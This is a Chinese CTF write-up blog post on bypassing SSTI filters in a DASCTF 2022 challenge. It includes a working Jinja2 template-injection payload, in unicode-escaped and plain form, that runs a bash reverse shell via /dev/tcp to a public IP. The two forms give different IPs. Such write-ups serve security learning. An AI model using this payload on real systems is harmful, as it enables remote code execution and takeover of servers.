CTF Web SSTI知识点学习

{这里只是针对此次比赛的绕过方法}先贴个DASCTF2022 七月赛的一道python ssti,主要过滤了. _ 和{{
过滤了大括号 {{,我们可以用 {%print(......)%} 或 {% if ... %}1{% endif %} 的形式来代替,但是题目还过滤了 print 关键字,所以前者用不了了,只能用 {% if ... %}success{% endif %} 的形式来bypass了。但是这样的话payload执行成功后只会输出中间的"success"而不会输出执行的结果的,所以我们要用外带数据的方法来得到payload执行的结果。

由于还过滤了像 ]、_、request 这类常用的字符和关键字,我们可以用 attr() 配合 unicode 编码的方法绕过
Unicode编码:

{%%0aif(lipsum|attr("\u005f\u005f\u0067\u006c\u006f\u0062\u0061\u006c\u0073\u005f\u005f")|attr("\u005f\u005f\u0067\u0065\u0074\u0069\u0074\u0065\u006d\u005f\u005f")("\u005f\u005f\u0062\u0075\u0069\u006c\u0074\u0069\u006e\u0073\u005f\u005f")|attr("\u005f\u005f\u0067\u0065\u0074\u0069\u0074\u0065\u006d\u005f\u005f")("\u0065\u0076\u0061\u006c")("\u005f\u005f\u0069\u006d\u0070\u006f\u0072\u0074\u005f\u005f\u0028\u0022\u006f\u0073\u0022\u0029\u002e\u0073\u0079\u0073\u0074\u0065\u006d\u0028\u0022\u0062\u0061\u0073\u0068\u0020\u002d\u0063\u0020\u0027\u0065\u0078\u0065\u0063\u0020\u0062\u0061\u0073\u0068\u0020\u002d\u0069\u0020\u0026\u003e\u002f\u0064\u0065\u0076\u002f\u0074\u0063\u0070\u002f\u0031\u0030\u0036\u002e\u0031\u0034\u002e\u0032\u0035\u0034\u002e\u0031\u0033\u0035\u002f\u0031\u0032\u0033\u0034\u0020\u003c\u0026\u0031\u0027\u0022\u0029"))%}2{%endif%}

正常:

{%%0aif(lipsum|attr("__globals__")|attr("__getitem__")("__builtins__")|attr("__getitem__")("eval")("__import__("os").system("bash -c 'exec bash -i &>/dev/tcp/101.34.200.205/1234 <&1'")"))%}2{%endif%}

如上是反弹shell,反弹到公网ip里即可,
日后学习CTFshow SSTI项目和绕过
贴几个师傅的博客可以用来学习参考(比赛参考)爬:
https://blog.csdn.net/qq_46918279/article/details/121270806
https://blog.csdn.net/pggril/article/details/125183052#t2

本文链接:

http://blog.azly.top/index.php/archives/81/
1 + 3 =
快来做第一个评论的人吧~